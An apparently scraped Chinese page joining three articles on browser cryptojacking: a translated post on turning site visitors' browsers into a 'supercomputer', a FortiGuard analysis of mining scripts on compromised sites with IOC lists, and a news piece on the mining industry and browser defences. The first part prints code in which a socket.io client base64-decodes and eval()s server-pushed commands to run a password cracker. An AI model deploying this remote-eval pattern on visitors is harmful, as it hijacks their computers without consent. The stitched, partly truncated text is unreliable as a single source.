整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

我模拟了一个用浏览器挖矿的代码,没多复杂但别走歪路

击关注 InfoQ,置顶公众号

接收程序员的 8 点技术早餐

作者|Ben

编辑|Martin、郭蕾

出处丨聊聊架构

最近比特币大火,区块链大火,昨天就连我一个四线城市的、没怎么接触过互联网的小学同学都焦虑地打电话问我,区块链这波浪潮里他应该怎么挣钱。

聊聊架构之前发布过一系列的文章来介绍区块链技术,想想真有意思,那会阅读量怎么都做不高,但现在,又突然出来很多的区块链媒体。当然,我们也做了一个专注报道区块链技术的公众号:区块链前哨,欢迎大家关注。

之前,我估计很多人都注意到过这样一个新闻,有一些成人网站看到比特币的暴涨之后,开始打起了挖矿的主意。他们在自己网站中偷偷暗藏挖矿代码,而当用户访问这些网站之后,他们就会神不知鬼不觉地迅速运行这些挖矿代码,甚至在用户关闭浏览器之后,相关代码仍然能够继续运行并占用 CPU 资源。

今天这篇是篇翻译文章,作者 Ben 是一名国外的资深开发者。他看到这篇新闻之后,也陷入了沉思。换个角度,如果不是挖矿,而是把全世界的 Web 浏览器通过 websocket 连接在一起,那是不是就可以组成一台“超级计算机”,并利用这个超级计算机解决分布式问题?

于是他开始了新的尝试。聊聊架构对这篇文章进行了翻译,以下是全文。

写在前面

我们将讨论一个具有争议性的话题——如何从网站访客的浏览器中“偷”走计算资源。目前有很多讨论是关于如何利用浏览器来挖掘数字货币的,但我不想加入到这些话题的讨论当中,我只是想探讨一种有效利用计算资源的方式。

Web 浏览器执行代码的能力越来越强大。JavaScript 的发展、WebAssembly 的出现、对 GPU 访问能力的提升和线程模型的演变,这些因素组合在一起,让浏览器与计算机一样具备了强大的计算能力。随着浏览器数字货币挖矿机的崛起,我也在思考这样的一个问题:如何把全世界的计算资源整合成一个单独的实体——一台由网站访客的浏览器组成的超级计算机。

就像普通的计算机集群一样,这台超级计算机的所有计算节点在协调之下共同解决一个问题。但与普通的计算机集群不同的是,这些计算节点时临时性的(随着网站访客的来来去去),而且它们之前无法彼此对话(没有跨站点的请求)。

这是我想到的一个例子:

右边是超级计算机控制服务器。左边是访问某个网站的浏览器,它是这个超级计算机中的一个节点,上面还显示了它的 CPU 指标。

这个超级计算机要解决的问题是找出某个给定哈希值的原始值。从图上可以看出,总共有 23 个节点参与了计算,计算并比对了 380,204,032 个哈希值,其中美国的访客贡献了 50% 的处理能力。

代码实现

这里主要用 websocket 技术在服务器和计算节点之间建立持久连接。这些连接用于协调节点的行为,从而让它们成为相互协作的实体。websocket 可以传输代码和协作消息,让一切都成为可能。

websocket 的出现戏剧性地改变了 Web 客户端的行为。客户端连接到网站上,先执行预先定义好的 JavaScript,等建立起 websocket 连接之后,就可以执行其他任意 JavaScript 脚本。

下图右边是超级计算机控制服务器,左边是接收动态指令的 Web 客户端。

如果一款 App 使用了 WebView,JavaScript 就可以直接跑到 App 中,也就是说,通过 websocket 传输的代码可以跳过 WebView,直接进入 App 的领地。

下图右边是超级计算机控制服务器,左边是接收指令的 Web App。可以看到,指令直接渗透到了 App 层。

剩下的就没有什么新鲜的了。App 可以通过 C&C 协议(Botnet Command and Control)获取指令,网页在初次加载之后就可以动态获得 JavaScript 脚本,而 websocket 具有真正的动态性(不像 Ajax 的轮询拉取模式),可以跨多浏览器和设备运行,而且对运行环境有完全的访问权限。

所以,我们完全可以通过 websocket 向计算节点传输指令代码,当然也可以用来传递消息,实现分布式协调。

Crackzor.js

六年前,我基于 OpenMPI 开发了一款分布式密码破解器(ben.akrin.com/?p=1424),叫作 crackzor。

密码破解是一个非常典型的分布式问题,说起来很简单,就是通过排列组合字符猜出密码。我使用 JavaScript 重写了 crackzor,使用 websocket 替代了 OpenMPI。

不过,每一个分布式问题都是不一样的,crackzor 并不是解决所有问题的良方。crackzor 的魔力在于它的灵活性,它把一个字符排列组合空间拆分成很多个块,再把这些块分摊给计算节点。在给定了要解决的问题以及迭代的起始和结束位置之后,节点就可以开始工作,不需要再为它们提供字符排列组合,这样就不会出现网络带宽瓶颈问题。

第一个问题:如何最大程度利用节点的 CPU

JavaScript 默认使用的是单线程模型,代码通过 websocket 传送到客户端,默认情况下只使用了 CPU 的一个核。而现今的大部分计算机 CPU 都是多核的,所以,我们要想办法把这些 CPU 都利用起来。

于是救星出现了——Web Worker。HTML 5 提供了这一特性,极大简化了多线程的实现。不过,我们还需要解决一个问题。Web Worker 文档告诉我们要从文件加载脚本文件,但我们的代码是通过 websocket 传输过来的,并驻存在内存中,所以我们无法直接通过指定脚本文件的方式来执行代码。

我们通过把代码包装成一个 Blob 对象来解决这个问题:

var worker_code = 'alert( "this code is threaded on the nodes" );' window.URL = window.URL || window.webkitURL; var blob; try { blob = new Blob(\[worker_code\], {type: 'application/javascript'}); } catch (e) { window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder; blob = new BlobBuilder; blob.append(worker_code); blob = blob.getBlob; } workers.push( new Worker(URL.createObjectURL(blob)) ) ;

第二个问题:在节点间分配任务

Websocket 服务器承担了后续的大部分协调工作,它需要跟踪节点的接入和退出,以及某个节点是否在执行计算任务,并在有可用节点时给它们分配任务。

服务器需要一直处于运行状态,处理来自节点的连接。不过,这台超级计算机可能每天需要解决不同的问题。为此,我写了一个函数用来读取文件,并执行文件中的代码。这个函数通过一个进程来调用。

function eval\_code\_from_file { if( !file_exists("/tmp/code") ) { console.log( "error: file /tmp/code does not exist" ) ; } else { var code = read_file( "/tmp/code" ) ; code = code.toString ; eval( code ) ; } } process.on('SIGUSR1', eval\_code\_from_file.bind );

有了这个函数,下一次我就可以杀掉旧进程,然后使用新进程加载新代码。这要归功于 JavaScript 的灵活性,这种灵活性让我们可以在任意时刻运行任意代码,只要对运行环境有完全的访问权限。

要给节点分发任务也很简单,只要让客户端在连接到服务器时注册一个回调函数,然后在回调函数里执行代码即可。

比如客户端:

var websocket_client=io.connect("http://websocket_server.domain.com"); websocket_client.on( "eval_callback",function(data){data=atob(data),eval(data)}.bind ) ;

服务器端:

client_socket.emit( "eval_callback", new Buffer("alert('this code will run on the client');").toSt

到目前为止:

  1. 所有的临时节点(网站用户的 Web 浏览器)连接到 websocket 服务器上;

  2. 通过进程信号让 websocket 服务器执行新的代码;

  3. 新代码中包含了节点需要解决的新问题;

  4. 新代码告诉 websocket 服务器如何协调节点;

  5. 一旦某个节点解决了问题,接着处理下一个问题;

现在我们知道了如何利用 Web 浏览器来构建一台超级计算机。出于多方面的考虑,比如可读性、安全性和复杂性方面的问题,我不想把我的代码全部都公开出来。不过,如果有人感兴趣,可以联系我,我很乐意分享跟多的想法。

更多小建议

  • 在拆分任务时,任务不能太大。因为节点都是临时性的,如果任务太重,极有可能发生中断。大部分 Web 浏览器会拒绝执行或终止执行太耗资源的代码,而小任务可以在几秒钟之内就完成,不会被打断。

  • 使用 JavaScript 实现 MD5:https://gist.github.com/josedaniel/951664。

  • 记录节点解决问题所使用的平均时间,把运行缓慢的节点排除在外,以免影响“超级计算机”的整体性能。

语:加密货币挖矿恶意软件的问题正变得越来越严重。随着通过劫持CPU周期暗中挖矿并从中受益的威胁制造者的数量持续增长,暗中挖矿恶意软件在越来越多的网站出现。

1CharCode JavaScript

在2017年12月6日,FortiGuard实验室发现了一个被攻击的网站-acenespargc.com。查看源代码,我们发现一个可疑的加密脚本,它使用eval()函数将所有字符转换为数字。我们使用了一个叫做CharCode Translator的工具将这些数字反向转换成字符。然后,我们检索到了一个链接,该链接会重定向到一个诈骗页面或钓鱼网站。

第1部分

第2部分

以上只是一个简单的例子。威胁制作者可以根据地理位置对钓鱼内容进行定制,为了更好地避免被发现,当检测到你之前访问过该钓鱼页面时,它就会消失。

使用这种技术,威胁制作者能够隐藏用肉眼看的到的恶意网站/钓鱼网页/广告URL。

这一技术现在已经被威胁制作者们采用,他们可以在被攻击的网站上隐藏加密货币的挖矿JavaScript,这样访问该网站的任何人都将被“感染”,被“感染”的电脑将会为威胁者进行秘密挖矿。我们将这种行为归为恶意的,是因为它在未经允许的情况下使用他人的资源。

2封隔器工具隐藏CoinHive脚本

在12月28日,FortiGuard实验室利用我们上面描述的混淆技术,了解了另一个恶意网站——romance-fire[.]com ——该网站是通过一个客户推荐的。该网站包含隐藏的用来加密货币挖矿的恶意代码。

我们发现了编码的脚本,并且通过使用包装器工具对其进行解包,我们发现该脚本与CoinHive有一个连接。

来自源代码的JavaScript

解压缩JavaScript-第1部分

我们注意到URL(hxxp://3117488091/lib/jquery-3.2.1.min.js?v=3.2.11)似乎没有一个有效的IP地址或域名。我们做了一些研究,在KLOTH.NET上转换后,发现“3117488091”是185.209.23.219的十进制IP。下面是结果:

该网站的URL转换成hxxp://185.209.23.219/lib/jquery-3.2.1.min.js?v=3.2.11。从URL中,我们检索到相同的JavaScript模式,因此我们再次打开脚本。

解压缩JavaScript-第2部分

在最后一轮的解压缩之后,我们终于能够检索包含CoinHive URL的脚本了:

解压缩JavaScript-第3部分

3.来自GitHub的货币挖矿

在2018年1月26日,我们发现了另一个网站——sorteosrd[.]com——该网站通过劫持用户的CPU来挖掘加密货币。这种加密挖矿的恶意软件再次让劫持者在没有经过电脑用户许可的情况下,从挖掘数字货币中获利。我们相信这个网站可能已经被网站管理员攻击或利用了。

网站hxxp://sorteosrd.com的源代码

在用户设备上暗中加密挖矿的影响

从上面的截图中可以看到,在访问站点之后,由于CPU被充分利用,硬币挖矿戏剧性地减慢了PC的速度。

4.被入侵的网站——黑莓手机被CryptoCoin挖矿感染

另一个CoinHive脚本的例子是在一个意料之外的被攻击的网站——blackberrymobile.com——发现的。

就连黑莓的网站也在短时间内受到了Monero加密货币挖矿的攻击。

5.受攻击的网站——Milk New Zealand受到了deepMiner工具的感染

此外,我们还发现新西兰最大的乳制品农场之一——Milk New Zealand网站也遭到了攻击。我们的AV实验室检测到了来自该网站的恶意活动,所以我们查看了该网站的源代码,并在github上找到了一个使用deepMiner工具的脚本,在Monero、Electroneum、Sumokoin等网站上挖矿。下面是网站截图:

使用deepMiner的JavaScript

根据上面截图中的数据,我们了解到这种脚本使用DDNS作为其域名,并且只增加了50%的CPU使用率,这样终端用户就不大会注意到。

6.甚至YouTube也为带有货币挖矿的广告提供服务

加密货币挖矿恶意软件的问题正变得越来越严重。随着通过劫持CPU周期暗中挖矿并从中受益的威胁制造者的数量持续增长,暗中挖矿恶意软件在越来越多的网站出现。一周前,一名威胁制造者设法将一个货币挖矿脚本植入了在线广告中,随后几个恶意广告便出现在YouTube上,幸运的是,YouTube发现了这个问题,并在两个小时内删除了受影响的广告。

恶意加密挖矿的YouTube广告

如何防止或避免被货币挖矿劫持?

1 清除你的浏览器缓存,或者安装清洁工软件来查找和删除电脑上的无用的文件和无效的Windows注册表条目;

2 在浏览器中禁用JavaScript或运行脚本拦截工具或扩展;

3 安装防病毒软件,如:FortiClient;

4 安装并运行广告拦截器或类似的工具,如:Ghostery;

FortiGuard已经把本文列出的所有恶意URL都列入了黑名单。

IOC:

被攻击的网站:

acenespargc[.]com

www[.]romance-fire[.]com

milknewzealand[.]com

新发现的货币挖矿URL:

hxxp://coinhive[.]com

hxxp://minerhills[.]com

hxxp://crypto-webminer[.]com

hxxp://sorteosrd[.]com

hxxp://greenindex[.]dynamic-dns[.]net

hxxps://github[.]com/deepwn/deepMiner

家网站的主要收入来源是广告,如果没有人点击广告,就等于没有收入。尤其是一些内容流量网站,就靠着广告活着。

但是广告能给网站带来的收入毕竟有限,穷则思变,他们开始盯上了虚拟货币。全球排名前1万的网站中,有2.2% 的网站正在做这种损人利己的勾当。

区块律动 BlockBeats 统计,截止 7月 9 日,全网有超过 3 万家网站内置了挖矿代码,只要用户打开网站进行浏览、操作,网站就会调用电脑或手机的计算资源来进行挖矿。根据 Adguard 的数据统计,全球约有 5 亿台电脑曾被绑架挖矿。

流量小一点的网站,每天可以获得几美元的额外收入,多的可以达到数千美元。而代价就是牺牲网站用户的电脑性能和能源,换取门罗币。

浏览即挖矿,如果你在上网的时候觉得自己的电脑和手机莫名其妙地发烫,那么你就要考虑是不是已经被网站利用来挖矿了。

浏览即挖矿,黑客总能找到各种奇怪的资源来牟利

几乎所有的浏览挖矿代码挖的都是门罗币。

门罗币采用的是 Cryptonight 的挖矿算法,这种算法对于 CPU 很友好,非常适合在普通电脑上运行。于是乎,就有开发者打起了歪主意。

他们利用 javascript 编写代码,当用户载入某个网站的时候,也会载入挖矿代码。据最大的门罗币挖矿代码提供商 Coinhive 的数据显示,他们的代码运行效率约等于门罗币矿机的 65%,未来还有一定的提升空间。

虽然在访问网站的时间内,用户只能贡献一点点的算力,但是积少成多,访问量越大越赚钱。

多家挖矿代码提供商都有计算器供开发者预测收入,如果你的网站每天都有 10-20 用户访问的话,每天可以收入 0.3 个 XMR,约 270 块人民币,每个月可以得到 8100 元的收入。

白来的收入,何乐而不为呢?于是乎不少本来广告收入就不多、又没有其他盈利模式的网站开始在网站上运行挖矿代码。

著名的 BT 资源下载网站海盗湾,近日被爆出网站内置了门罗币的挖矿代码。在海盗湾的网站上非常霸道地写着,「只要进入海盗湾网站,你就同意我们使用你的 CPU 进行门罗币挖矿。如果你不同意,你可以立刻离开或者安装 adblocker」。

这段话,只能在海盗湾网站最底端的位置才能看到,而且还被特意调成了小字号。

也就是说,哪怕你只是打开海盗湾看看有没有更新什么资源,你的电脑 cpu 占用也会瞬间飙到 100%,为海盗湾网站创收提供算力,直到你关掉网站。

据了解,被植入挖矿代码的网站中,有 68% 的网站为色情网站。如果你有浏览色情网站的习惯,那你也应该注意一下,因为不少色情网站为了增加收入也会加入挖矿代码。

当你的双手在飞舞颤抖的时候,是否发现自己的电脑已经变得滚烫,或许你根本就没有发现,因为你正在沉迷于别的事情。

除了网站所有者自行添加挖矿代码之外,还有黑客黑入其他网站服务器在代码中恶意植入挖矿木马的。比如上个月高考结束之后,不少高校的网站都被爆出被黑客入侵,考生在查询考试成绩的时候就要为黑客做贡献。

因为查分网站都有分数公开的时间,大量考生都会开着网页等待放榜,所以这类网站比其他博客之类的网站更受欢迎。上个月底,腾讯御见威胁情报中心检测到山东、湖北、河南、黑龙江等多所重点大学的官网被植入挖矿木马。

此外,还有不少游戏外挂的开发者也会在外挂中植入挖矿木马,让很多贪小便宜、贪图享受的用户中招。

除了电脑端,在 Android 手机端也出现了大量包含挖矿木马的 App。360 安全实验室今年 1 月份的数据显示,全网有 400 多种挖矿木马在流行,占 Android 木马总量的 1/3。

网页挖矿劫持服务商,完善的黑产体系

有需求,就有服务,挖矿代码和挖矿木马背后其实有一整个完整的产业链,而且服务非常完善。

打开网页就进行挖矿,其实这个功能不是网站开发者自己开发的,他们使用的都是网页挖矿服务商提供的接口。开发者只需要在网页代码中插入那么一串代码,就可以坐享收入。

网页挖矿服务商给网站开发者提供了各式各样的挖矿服务,比如验证码挖矿、短链接接入、静默挖矿等,只要你敢来,瞬间可以占用你 100% 的电脑资源。

任何产品都有迭代的空间,于是乎,CoinHive 这样的网页挖矿服务提供商也在不断地进化他们的产品,让网站开发者可以更好地隐藏利用用户电脑挖矿的事实,为用户提供更好的服务。

例如,许多网站为了防止垃圾评论,都会采取点击验证码的方式拦截机器人。CoinHive 就提供了类似的反作弊模块,当用户在点击这个按钮的时候就会开启网页挖矿,在验证完成之后,挖矿停止。

如果用户真的有意愿等待发帖或者登陆,是完全能够接受这十几秒的验证时间的,但代价就是十几秒内电脑 CPU 火力全开去挖矿,瞬间升温几十度。

CryptoLoot 还提供静默挖矿功能,可以在用户完全没有察觉的情况下就运行挖矿代码。在 CryptoLoot 的网站上,他们把静默挖矿标榜为自己的一个特色功能,可实现安静不打扰。呵,还真是贴心呢。

挖到矿后就可以开始算钱了,挖矿代码提供商几乎可以为开发者进行即时结算。他们每 2 个小时就可以进行一次分账,在完成抽成之后,可以直接向开发者的钱包里转账门罗币,当然也能以人民币、美元等法币进行提现。

提供商实现了从头到尾的全方面服务,只为网站开发者和黑客提供更好的服务和更高的收入。

但是要知道,这样的行为是违法的。

无论是在国内还是国外,未经用户允许便擅自占用用户的计算资源,可以被定义为是木马病毒。按照先关法律法规,这是违法行为,构成犯罪的还将追究刑事责任。

知名网站都不会用这种卑鄙的手段来获取利益,只有我们上面提到的几种类型的、本身就已经违法的网站才会做这种事情。

无论是挖矿代码提供商还是网站开发者,都明白偷用户电脑资源来挖矿是一件不光彩的事情,所以代码提供商会毫不留情地从挖矿所得中抽走 30%,对于这种大额抽成,网站所有者也欣然接受。

据 PC Magazine 网站预测,CoinHive 一年的抽成收入就可以达到 500 万美元,他们所服务的网站和黑客一年可以产生高达 1 亿人民币。

CoinHive 目前服务 75% 的网页挖矿网站,再加上其他服务商覆盖的网站,整个行业每年盗用用户电脑挖矿的收入可以达到 1.5 亿人民币。

担心电脑被用去挖矿,怎么办?

首先要感谢国家,因为你生在中国,有腾讯电脑管家和 360 安全卫士这种东西「保护」你,但是代价是要接受他们的全家桶服务。

接下来要感谢有良心的开发者,他们正在帮助你。

如果你正在使用的是 Chrome 浏览器,或者基于 chrome 内核的浏览器,都可以安装Adblock、Adblocker、ADP 等广告拦截插件来实现恶意代码拦截。比如 AdBlocker 在去年网页挖矿最泛滥的那段时间就更新了算法,在插件中加入了挖矿代码拦截,用户可以免费使用这些拦截插件。

如果你使用的是火狐浏览器,那么可以安装 noscript 插件来限制 Javascript 的运行,将挖矿代码挡在门外。

最后要感谢自己,感谢洁身自好的自己不去浏览一些奇奇怪怪的、令人兴奋的、助你上天入地的网站。

来源:网易科技